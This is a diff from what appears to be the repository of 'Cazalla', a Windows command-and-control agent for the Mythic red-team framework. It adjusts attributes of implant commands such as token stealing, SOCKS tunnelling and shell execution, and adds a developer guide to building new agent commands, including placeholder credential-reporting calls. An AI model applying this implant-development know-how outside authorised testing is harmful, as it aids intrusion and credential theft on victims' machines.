|||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
builtin=False,
|
builtin=False,
|
||||||
supported_os=[ SupportedOS.Windows ],
|
supported_os=[ SupportedOS.Windows ],
|
||||||
suggested_command=True
|
suggested_command=False
|
||||||
)
|
)
|
||||||
|
|
||||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
|
|||||||
@@ -75,6 +75,9 @@ class MakeTokenCommand(CommandBase):
|
|||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
attackmapping = ["T1134.003"]
|
attackmapping = ["T1134.003"]
|
||||||
argument_class = MakeTokenArguments
|
argument_class = MakeTokenArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -29,7 +29,7 @@ class PsCommand(CommandBase):
|
|||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
builtin=False,
|
builtin=False,
|
||||||
supported_os=[ SupportedOS.Windows ],
|
supported_os=[ SupportedOS.Windows ],
|
||||||
suggested_command=True
|
suggested_command=False
|
||||||
)
|
)
|
||||||
attackmapping = []
|
attackmapping = []
|
||||||
|
|
||||||
|
|||||||
@@ -23,6 +23,9 @@ class Rev2SelfCommand(CommandBase):
|
|||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
attackmapping = ["T1134.001"]
|
attackmapping = ["T1134.001"]
|
||||||
argument_class = Rev2SelfArguments
|
argument_class = Rev2SelfArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -88,7 +88,6 @@ class RpfwdCommand(CommandBase):
|
|||||||
attackmapping = []
|
attackmapping = []
|
||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
supported_os=[SupportedOS.Windows],
|
supported_os=[SupportedOS.Windows],
|
||||||
builtin=True,
|
|
||||||
)
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
|
|||||||
@@ -25,6 +25,9 @@ class ScreenshotCommand(CommandBase):
|
|||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
argument_class = ScreenshotArguments
|
argument_class = ScreenshotArguments
|
||||||
attackmapping = ["T1113"]
|
attackmapping = ["T1113"]
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ class ShellCommand(CommandBase):
|
|||||||
attackmapping = ["T1059"]
|
attackmapping = ["T1059"]
|
||||||
argument_class = ShellArguments
|
argument_class = ShellArguments
|
||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
|
supported_os=[SupportedOS.Windows]
|
||||||
)
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
|
|||||||
@@ -66,7 +66,6 @@ class SocksCommand(CommandBase):
|
|||||||
attackmapping = []
|
attackmapping = []
|
||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
supported_os=[SupportedOS.Windows],
|
supported_os=[SupportedOS.Windows],
|
||||||
builtin=True,
|
|
||||||
)
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
|
|||||||
@@ -73,6 +73,9 @@ class StealTokenCommand(CommandBase):
|
|||||||
attackmapping = ["T1134.001"]
|
attackmapping = ["T1134.001"]
|
||||||
supported_ui_features = ["process_browser:steal_token"]
|
supported_ui_features = ["process_browser:steal_token"]
|
||||||
argument_class = StealTokenArguments
|
argument_class = StealTokenArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -66,6 +66,9 @@ class UploadCommand(CommandBase):
|
|||||||
supported_ui_features = ["file_browser:upload"]
|
supported_ui_features = ["file_browser:upload"]
|
||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
argument_class = UploadArguments
|
argument_class = UploadArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -23,6 +23,9 @@ class WhoamiCommand(CommandBase):
|
|||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
attackmapping = ["T1083"]
|
attackmapping = ["T1083"]
|
||||||
argument_class = WhoamiArguments
|
argument_class = WhoamiArguments
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows]
|
||||||
|
)
|
||||||
|
|
||||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
response = PTTaskCreateTaskingMessageResponse(
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
|||||||
@@ -0,0 +1,666 @@
|
|||||||
|
+++
|
||||||
|
title = "Developing Commands"
|
||||||
|
chapter = false
|
||||||
|
weight = 20
|
||||||
|
pre = "3. "
|
||||||
|
+++
|
||||||
|
|
||||||
|
# Developing New Commands for Cazalla
|
||||||
|
|
||||||
|
This guide provides a step-by-step walkthrough for adding new commands to the Cazalla agent. Understanding this process is essential for extending Cazalla's capabilities.
|
||||||
|
|
||||||
|
## 📋 Overview
|
||||||
|
|
||||||
|
Adding a new command to Cazalla requires coordination across multiple components:
|
||||||
|
|
||||||
|
1. **Python Command Definition** - Defines the command interface in Mythic
|
||||||
|
2. **Translator Mapping** - Maps command names to hex codes for agent communication
|
||||||
|
3. **C Agent Implementation** - Implements the actual command logic
|
||||||
|
4. **Command Dispatcher Registration** - Registers the handler in the command dispatcher
|
||||||
|
5. **Builder Configuration** - Enables command selection during payload creation
|
||||||
|
|
||||||
|
## 🏗️ Architecture Overview
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
graph LR
|
||||||
|
A[Python Command] --> B[Translator]
|
||||||
|
B --> C[C Agent Handler]
|
||||||
|
C --> D[Command Dispatcher]
|
||||||
|
D --> E[Builder Mapping]
|
||||||
|
|
||||||
|
style A fill:#e1f5ff
|
||||||
|
style B fill:#fff4e1
|
||||||
|
style C fill:#e8f5e9
|
||||||
|
style D fill:#fce4ec
|
||||||
|
style E fill:#f3e5f5
|
||||||
|
```
|
||||||
|
|
||||||
|
**Data Flow:**
|
||||||
|
- **Mythic UI** → Python command receives task
|
||||||
|
- **Python** → Translator converts to binary format with hex code
|
||||||
|
- **Agent** → C handler processes command and returns response
|
||||||
|
- **Translator** → Converts response back to Mythic format
|
||||||
|
|
||||||
|
## 📝 Step-by-Step Guide
|
||||||
|
|
||||||
|
### Step 1: Create Python Command File
|
||||||
|
|
||||||
|
Create a new Python file in `Payload_Type/cazalla/cazalla/agent_functions/` named after your command (e.g., `mycommand.py`).
|
||||||
|
|
||||||
|
#### 1.1 Command Arguments Class
|
||||||
|
|
||||||
|
Define the argument parsing logic:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
class MyCommandArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="param1",
|
||||||
|
type=ParameterType.String, # or ParameterType.Number, etc.
|
||||||
|
description="Description of parameter",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
|
required=True, # or False
|
||||||
|
ui_position=1
|
||||||
|
)]
|
||||||
|
),
|
||||||
|
# Add more parameters as needed
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
"""Parse command-line arguments"""
|
||||||
|
if len(self.command_line) == 0:
|
||||||
|
raise ValueError("Parameter required")
|
||||||
|
# Parse and validate arguments
|
||||||
|
self.add_arg("param1", self.command_line)
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary):
|
||||||
|
"""Parse dictionary arguments (from UI)"""
|
||||||
|
self.load_args_from_dictionary(dictionary)
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 1.2 Command Class
|
||||||
|
|
||||||
|
Define the main command class:
|
||||||
|
|
||||||
|
```python
|
||||||
|
class MyCommandCommand(CommandBase):
|
||||||
|
cmd = "mycommand" # Command name (lowercase, no spaces)
|
||||||
|
needs_admin = False # Set to True if command requires admin privileges
|
||||||
|
help_cmd = "mycommand <param1>"
|
||||||
|
description = "Detailed description of what the command does"
|
||||||
|
version = 1
|
||||||
|
author = "YourName"
|
||||||
|
argument_class = MyCommandArguments
|
||||||
|
attackmapping = ["T1059"] # MITRE ATT&CK technique IDs
|
||||||
|
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows],
|
||||||
|
builtin=False, # Set to True if command should always be included
|
||||||
|
suggested_command=False # Set to True to suggest in UI
|
||||||
|
)
|
||||||
|
|
||||||
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTaskOPSECPreTaskMessageResponse:
|
||||||
|
"""Optional: OPSEC check before task creation"""
|
||||||
|
# Add warnings about detection risks
|
||||||
|
return PTTaskOPSECPreTaskMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
OpsecPreBlocked=False,
|
||||||
|
OpsecPreBypassRole="operator",
|
||||||
|
OpsecPreMessage="OPSEC warning message here"
|
||||||
|
)
|
||||||
|
|
||||||
|
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTaskOPSECPostTaskMessageResponse:
|
||||||
|
"""Optional: OPSEC check after task creation"""
|
||||||
|
return PTTaskOPSECPostTaskMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
OpsecPostBlocked=False,
|
||||||
|
OpsecPostBypassRole="operator",
|
||||||
|
OpsecPostMessage="Post-execution warning"
|
||||||
|
)
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
"""Process task creation - called when task is created"""
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True
|
||||||
|
)
|
||||||
|
# Add any pre-processing logic here
|
||||||
|
# Access arguments: taskData.args.get_arg("param1")
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
"""Process agent response - called when agent sends response"""
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(
|
||||||
|
TaskID=task.Task.ID,
|
||||||
|
Success=True
|
||||||
|
)
|
||||||
|
# Process response data here if needed
|
||||||
|
return resp
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 1.3 Key Attributes
|
||||||
|
|
||||||
|
- **`cmd`**: Command name used in Mythic (must match translator mapping)
|
||||||
|
- **`builtin`**:
|
||||||
|
- `True` = Always included in payload (e.g., `exit`, `sleep`)
|
||||||
|
- `False` = Can be selected during payload creation
|
||||||
|
- **`needs_admin`**: Set to `True` if command requires administrator privileges
|
||||||
|
- **`attackmapping`**: List of MITRE ATT&CK technique IDs (e.g., `["T1059"]`)
|
||||||
|
|
||||||
|
### Step 2: Add Command to Translator
|
||||||
|
|
||||||
|
Edit `Payload_Type/cazalla/translator/commands_from_c2.py` and add your command to the `commands` dictionary:
|
||||||
|
|
||||||
|
```python
|
||||||
|
commands = {
|
||||||
|
# ... existing commands ...
|
||||||
|
"mycommand": {"hex_code": 0x99, "input_type": "string"},
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Important Notes:**
|
||||||
|
- **`hex_code`**: Choose an unused hex code (0x00-0xFF). Check `comandos.h` for existing codes
|
||||||
|
- **`input_type`**:
|
||||||
|
- `"string"` - String parameter
|
||||||
|
- `"int"` - Integer parameter
|
||||||
|
- `None` - No parameters
|
||||||
|
- Special types: `"bof_special"`, `"assembly_special"`, `"socks_special"` (see existing commands)
|
||||||
|
|
||||||
|
**Hex Code Allocation:**
|
||||||
|
- `0x00-0x1F`: Reserved for core commands
|
||||||
|
- `0x20-0x5F`: File system and standard commands
|
||||||
|
- `0x60-0x6F`: Network tunneling commands
|
||||||
|
- `0x70-0x7F`: Code execution commands
|
||||||
|
- `0x80+`: Control commands
|
||||||
|
|
||||||
|
### Step 3: Implement C Agent Handler
|
||||||
|
|
||||||
|
#### 3.1 Define Command Constant
|
||||||
|
|
||||||
|
Edit `Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h` and add:
|
||||||
|
|
||||||
|
```c
|
||||||
|
#define MYCOMMAND_CMD 0x99 // Must match hex_code from translator
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 3.2 Implement Handler Function
|
||||||
|
|
||||||
|
Create or edit the appropriate C file (e.g., `SistemadeFicheros.c` for file operations, or create a new file):
|
||||||
|
|
||||||
|
```c
|
||||||
|
#include "cazalla.h"
|
||||||
|
#include "comandos.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
|
||||||
|
void MyCommandHandler(PAnalizador analizadorTarea) {
|
||||||
|
_inf("===== PROCESSING MYCOMMAND_CMD (0x%02X) =====", MYCOMMAND_CMD);
|
||||||
|
|
||||||
|
// Read task UUID (first 36 bytes)
|
||||||
|
SIZE_T uuidLen = 36;
|
||||||
|
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||||
|
if (!taskUuid || uuidLen != 36) {
|
||||||
|
_err("Error reading task UUID");
|
||||||
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Read parameters based on input_type
|
||||||
|
// For string input_type:
|
||||||
|
SIZE_T param1Len = 0;
|
||||||
|
PCHAR param1 = getString(analizadorTarea, ¶m1Len);
|
||||||
|
|
||||||
|
// For int input_type:
|
||||||
|
// UINT32 param1 = (UINT32)getInt32(analizadorTarea);
|
||||||
|
|
||||||
|
// Implement your command logic here
|
||||||
|
// ...
|
||||||
|
|
||||||
|
// Create response packet
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE adds agent UUID
|
||||||
|
addString(respuesta, taskUuid, FALSE); // Add task UUID
|
||||||
|
|
||||||
|
// Add output to response
|
||||||
|
PackageAddFormatPrintf(respuesta, FALSE, "Command executed successfully\n");
|
||||||
|
PackageAddFormatPrintf(respuesta, FALSE, "Parameter: %.*s\n", (int)param1Len, param1);
|
||||||
|
|
||||||
|
// Optional: Add artifacts (file writes, process creates, etc.)
|
||||||
|
// addArtifact(respuesta, "File Write", "C:\\path\\to\\file");
|
||||||
|
|
||||||
|
// Optional: Add credentials if discovered
|
||||||
|
// addCredential(respuesta, "plaintext", "DOMAIN", "password", "username");
|
||||||
|
|
||||||
|
// Send response
|
||||||
|
Analizador* resp = mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
if (resp) liberarAnalizador(resp);
|
||||||
|
|
||||||
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
|
_inf("===== MYCOMMAND_CMD COMPLETED =====");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 3.3 Key C Functions
|
||||||
|
|
||||||
|
- **`getString(analizador, &len)`**: Read string from buffer
|
||||||
|
- **`getInt32(analizador)`**: Read 32-bit integer
|
||||||
|
- **`getByte(analizador)`**: Read single byte
|
||||||
|
- **`getBytes(analizador, &len)`**: Read byte array
|
||||||
|
- **`nuevoPaquete(type, add_uuid)`**: Create response packet
|
||||||
|
- **`addString(paquete, str, copy)`**: Add string to packet
|
||||||
|
- **`PackageAddFormatPrintf(paquete, copy, format, ...)`**: Add formatted output
|
||||||
|
- **`addArtifact(paquete, type, data)`**: Add artifact (file write, process create, etc.)
|
||||||
|
- **`addCredential(paquete, type, realm, credential, account)`**: Add credential
|
||||||
|
- **`mandarPaquete(paquete)`**: Send packet to Mythic
|
||||||
|
- **`liberarPaquete(paquete)`**: Free packet memory
|
||||||
|
- **`liberarAnalizador(analizador)`**: Free analyzer memory
|
||||||
|
|
||||||
|
### Step 4: Register Handler in Command Dispatcher
|
||||||
|
|
||||||
|
Edit `Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c` and add your command to the dispatch chain in `handleGetTasking()`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
#ifdef ENABLE_MYCOMMAND_CMD
|
||||||
|
else if (tarea == MYCOMMAND_CMD) {
|
||||||
|
_inf("===== PROCESSING MYCOMMAND_CMD (0x%02X) =====", tarea);
|
||||||
|
MyCommandHandler(analizadorTarea);
|
||||||
|
_inf("===== MYCOMMAND_CMD COMPLETED =====");
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
```
|
||||||
|
|
||||||
|
**Placement:**
|
||||||
|
- Add after `SLEEP_CMD` (which always closes with `}`)
|
||||||
|
- Before the final `else` block for unknown commands
|
||||||
|
- Use `else if` (not `} else if`) to maintain the chain
|
||||||
|
|
||||||
|
**Important:** The command handler must be wrapped in `#ifdef ENABLE_MYCOMMAND_CMD` to support conditional compilation.
|
||||||
|
|
||||||
|
### Step 5: Add to Builder Mapping
|
||||||
|
|
||||||
|
Edit `Payload_Type/cazalla/cazalla/agent_functions/builder.py` and add your command to the `command_to_define` dictionary (around line 209):
|
||||||
|
|
||||||
|
```python
|
||||||
|
command_to_define = {
|
||||||
|
# ... existing commands ...
|
||||||
|
"mycommand": "ENABLE_MYCOMMAND_CMD",
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
This maps the Python command name to the C preprocessor define name.
|
||||||
|
|
||||||
|
### Step 6: Update Includes (if needed)
|
||||||
|
|
||||||
|
If your command requires a new header file:
|
||||||
|
|
||||||
|
**In `comandos.h`:**
|
||||||
|
```c
|
||||||
|
#ifdef ENABLE_MYCOMMAND_CMD
|
||||||
|
#include "mycommand.h"
|
||||||
|
#endif
|
||||||
|
```
|
||||||
|
|
||||||
|
**In `comandos.c`:**
|
||||||
|
```c
|
||||||
|
#ifdef ENABLE_MYCOMMAND_CMD
|
||||||
|
#include "mycommand.h"
|
||||||
|
#endif
|
||||||
|
```
|
||||||
|
|
||||||
|
### Step 7: Add Forward Declaration (if needed)
|
||||||
|
|
||||||
|
If your handler function is defined in a separate file, add a forward declaration in `comandos.c`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
#ifdef ENABLE_MYCOMMAND_CMD
|
||||||
|
void MyCommandHandler(PAnalizador analizadorTarea);
|
||||||
|
#endif
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🔍 Complete Example: Adding a "ping" Command
|
||||||
|
|
||||||
|
Let's walk through a complete example of adding a simple `ping` command that sends a message back to Mythic.
|
||||||
|
|
||||||
|
### Example 1: Python Command File (`ping.py`)
|
||||||
|
|
||||||
|
```python
|
||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
class PingArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="message",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="Message to echo back",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(required=False)]
|
||||||
|
),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) > 0:
|
||||||
|
self.add_arg("message", self.command_line)
|
||||||
|
else:
|
||||||
|
self.add_arg("message", "pong")
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary):
|
||||||
|
self.load_args_from_dictionary(dictionary)
|
||||||
|
|
||||||
|
class PingCommand(CommandBase):
|
||||||
|
cmd = "ping"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "ping [message]"
|
||||||
|
description = "Echo a message back to verify agent communication"
|
||||||
|
version = 1
|
||||||
|
author = "YourName"
|
||||||
|
argument_class = PingArguments
|
||||||
|
attackmapping = []
|
||||||
|
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows],
|
||||||
|
builtin=False
|
||||||
|
)
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True
|
||||||
|
)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
|
```
|
||||||
|
|
||||||
|
### Example 2: Translator Mapping
|
||||||
|
|
||||||
|
In `translator/commands_from_c2.py`:
|
||||||
|
|
||||||
|
```python
|
||||||
|
commands = {
|
||||||
|
# ... existing commands ...
|
||||||
|
"ping": {"hex_code": 0x90, "input_type": "string"},
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Example 3: C Header Definition
|
||||||
|
|
||||||
|
In `comandos.h`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
#define PING_CMD 0x90
|
||||||
|
```
|
||||||
|
|
||||||
|
### Example 4: C Handler Implementation
|
||||||
|
|
||||||
|
Create `ping.c`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
#include "cazalla.h"
|
||||||
|
#include "comandos.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
|
||||||
|
void PingHandler(PAnalizador analizadorTarea) {
|
||||||
|
_inf("===== PROCESSING PING_CMD (0x%02X) =====", PING_CMD);
|
||||||
|
|
||||||
|
// Read task UUID
|
||||||
|
SIZE_T uuidLen = 36;
|
||||||
|
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||||
|
|
||||||
|
// Read message parameter
|
||||||
|
SIZE_T messageLen = 0;
|
||||||
|
PCHAR message = getString(analizadorTarea, &messageLen);
|
||||||
|
|
||||||
|
// Create response
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuesta, taskUuid, FALSE);
|
||||||
|
|
||||||
|
// Echo the message back
|
||||||
|
PackageAddFormatPrintf(respuesta, FALSE, "Ping received: %.*s\n", (int)messageLen, message);
|
||||||
|
PackageAddFormatPrintf(respuesta, FALSE, "Agent is alive and responding!\n");
|
||||||
|
|
||||||
|
// Send response
|
||||||
|
Analizador* resp = mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
if (resp) liberarAnalizador(resp);
|
||||||
|
|
||||||
|
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||||
|
_inf("===== PING_CMD COMPLETED =====");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Example 5: Register in Dispatcher
|
||||||
|
|
||||||
|
In `comandos.c`, add to the dispatch chain:
|
||||||
|
|
||||||
|
```c
|
||||||
|
#ifdef ENABLE_PING_CMD
|
||||||
|
else if (tarea == PING_CMD) {
|
||||||
|
_inf("===== PROCESSING PING_CMD (0x%02X) =====", tarea);
|
||||||
|
PingHandler(analizadorTarea);
|
||||||
|
_inf("===== PING_CMD COMPLETED =====");
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
```
|
||||||
|
|
||||||
|
### Example 6: Builder Mapping
|
||||||
|
|
||||||
|
In `builder.py`:
|
||||||
|
|
||||||
|
```python
|
||||||
|
command_to_define = {
|
||||||
|
# ... existing commands ...
|
||||||
|
"ping": "ENABLE_PING_CMD",
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 🎯 Advanced Features
|
||||||
|
|
||||||
|
### Adding Artifacts
|
||||||
|
|
||||||
|
Artifacts track system modifications for OPSEC and reporting:
|
||||||
|
|
||||||
|
```c
|
||||||
|
// File write artifact
|
||||||
|
addArtifact(respuesta, "File Write", "C:\\path\\to\\file");
|
||||||
|
|
||||||
|
// Process create artifact
|
||||||
|
addArtifact(respuesta, "Process Create", "cmd.exe /c whoami");
|
||||||
|
|
||||||
|
// Network connection artifact
|
||||||
|
addArtifact(respuesta, "Network Connection", "Connection to 192.168.1.1:80");
|
||||||
|
|
||||||
|
// Registry write artifact
|
||||||
|
addArtifact(respuesta, "Registry Write", "HKEY_LOCAL_MACHINE\\...");
|
||||||
|
```
|
||||||
|
|
||||||
|
### Adding Credentials
|
||||||
|
|
||||||
|
Automatically extract and report credentials:
|
||||||
|
|
||||||
|
```c
|
||||||
|
// Plaintext password
|
||||||
|
addCredential(respuesta, "plaintext", "DOMAIN", "password123", "username");
|
||||||
|
|
||||||
|
// NTLM hash
|
||||||
|
addCredential(respuesta, "hash", "", "aad3b435b51404ee:hashvalue", "Administrator");
|
||||||
|
|
||||||
|
// Certificate
|
||||||
|
addCredential(respuesta, "certificate", "", "cert_data_base64", "account_name");
|
||||||
|
```
|
||||||
|
|
||||||
|
### OPSEC Checking
|
||||||
|
|
||||||
|
Implement OPSEC warnings in Python:
|
||||||
|
|
||||||
|
```python
|
||||||
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTaskOPSECPreTaskMessageResponse:
|
||||||
|
message = "⚠️ OPSEC WARNING\n\n"
|
||||||
|
message += "This command may be detected by:\n"
|
||||||
|
message += " • EDR/XDR solutions\n"
|
||||||
|
message += " • Network monitoring\n"
|
||||||
|
|
||||||
|
return PTTaskOPSECPreTaskMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
OpsecPreBlocked=False, # Set to True to block execution
|
||||||
|
OpsecPreBypassRole="operator",
|
||||||
|
OpsecPreMessage=message
|
||||||
|
)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Process Browser Integration
|
||||||
|
|
||||||
|
To integrate with Mythic's Process Browser:
|
||||||
|
|
||||||
|
```python
|
||||||
|
supported_ui_features = ["process_browser:list"] # or "process_browser:kill"
|
||||||
|
```
|
||||||
|
|
||||||
|
Then in the translator, format process data as JSON matching Mythic's Process Browser format.
|
||||||
|
|
||||||
|
### File Browser Integration
|
||||||
|
|
||||||
|
To integrate with Mythic's File Browser:
|
||||||
|
|
||||||
|
```python
|
||||||
|
supported_ui_features = ["file_browser:list"]
|
||||||
|
```
|
||||||
|
|
||||||
|
The translator will automatically convert file listings to File Browser format.
|
||||||
|
|
||||||
|
## 🧪 Testing Your Command
|
||||||
|
|
||||||
|
### 1. Restart Mythic Agent Container
|
||||||
|
|
||||||
|
After adding your command, restart the Cazalla container:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd ~/Mythic
|
||||||
|
./mythic-cli restart cazalla
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Verify Command Appears
|
||||||
|
|
||||||
|
1. Open Mythic UI
|
||||||
|
2. Navigate to Payloads → Create Payload
|
||||||
|
3. Select Cazalla
|
||||||
|
4. Check that your command appears in the command selection list
|
||||||
|
|
||||||
|
### 3. Build Test Payload
|
||||||
|
|
||||||
|
1. Select your command (and any others you need)
|
||||||
|
2. Configure C2 profile
|
||||||
|
3. Build the payload
|
||||||
|
4. Check build logs for any compilation errors
|
||||||
|
|
||||||
|
### 4. Test Command Execution
|
||||||
|
|
||||||
|
1. Deploy payload to test system
|
||||||
|
2. Execute your command from Mythic UI
|
||||||
|
